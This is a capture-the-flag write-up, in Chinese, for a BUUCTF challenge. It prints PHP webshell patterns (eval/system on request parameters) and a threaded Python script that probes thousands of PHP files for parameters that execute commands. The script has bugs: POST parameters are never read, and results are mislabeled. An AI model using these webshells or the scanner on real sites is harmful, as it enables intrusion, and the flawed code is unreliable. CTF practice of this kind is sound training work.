BUUCTF [强网杯 2019]高明的黑客

发布时间 2023-09-02 16:23:28作者: Amsterdamnit

这道题目主要练习了Python脚本的编写,稍微了解Python中比如多线程、http请求、正则匹配等知识点。

打开题目。

下载源码,发现其中有3002个PHP文件。

在网站中访问这些php文件,传入参数未报错且具有返回值。

我们应该找存在形如

$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');

$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');

$_GET['cXjHClMPs'] = ' ';
echo `{$_POST['cXjHClMPs']}`;

的结构,传入payload找flag。

步骤大致是字符匹配$_GET[$_POST[,尝试往匹配到的参数名传递echo,看看哪些参数可以接收到参数并打印出来。

import os
import re
import time
import threading
import requests
from tqdm import tqdm

thread_ = threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
session = requests.Session() 
session.keep_alive = False # 设置连接活跃状态为False

buu_url = "http://35a34fe5-7916-4ebf-a7ff-bfd82fe9bd4a.node4.buuoj.cn:81"
filePath = r"D:\Downloads\src"
os.chdir(filePath)
files = os.listdir(filePath)
flags = []

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") # 匹配get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") # 匹配post参数

def getflag(file):
    print("[+]checking file:%s" % (file))
    thread_.acquire()
    url = buu_url + "/" + file
    with open(file, encoding='utf-8') as f:
        gets = list(rrGET.findall(f.read()))
        posts = list(rrPOST.findall(f.read()))
        for g in gets:
            print("[++]checking %s" % (g))
            time.sleep(0.02)
            res = session.get(url + "?%s=%s" % (g, "echo ------"))
            if "------" in res.text:
                flag = "fileName=%s, param=%s" % (file, g)
                flags.append(flag)

        for p in posts:
            print("[++]checking %s" % (p))
            res = session.post(url, data={p:"echo ------"})
            if "------" in res.text:
                flag = "fileName=%s, param=%s" % (file, g)
                flags.append(flag)

    thread_.release()

if __name__ == '__main__':
    start_time = time.time()
    thread_list = []
    for file in tqdm(files):
        t = threading.Thread(target=getflag, args=(file,))
        thread_list.append(t)

    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
            
    print(flags)
    end_time = time.time()
    print("[end]程序结束:用时(秒):"+str(end_time-start_time))




参考链接:
https://www.cnblogs.com/sunix-blog/p/13942835.html
https://www.cnblogs.com/h3zh1/p/12661892.html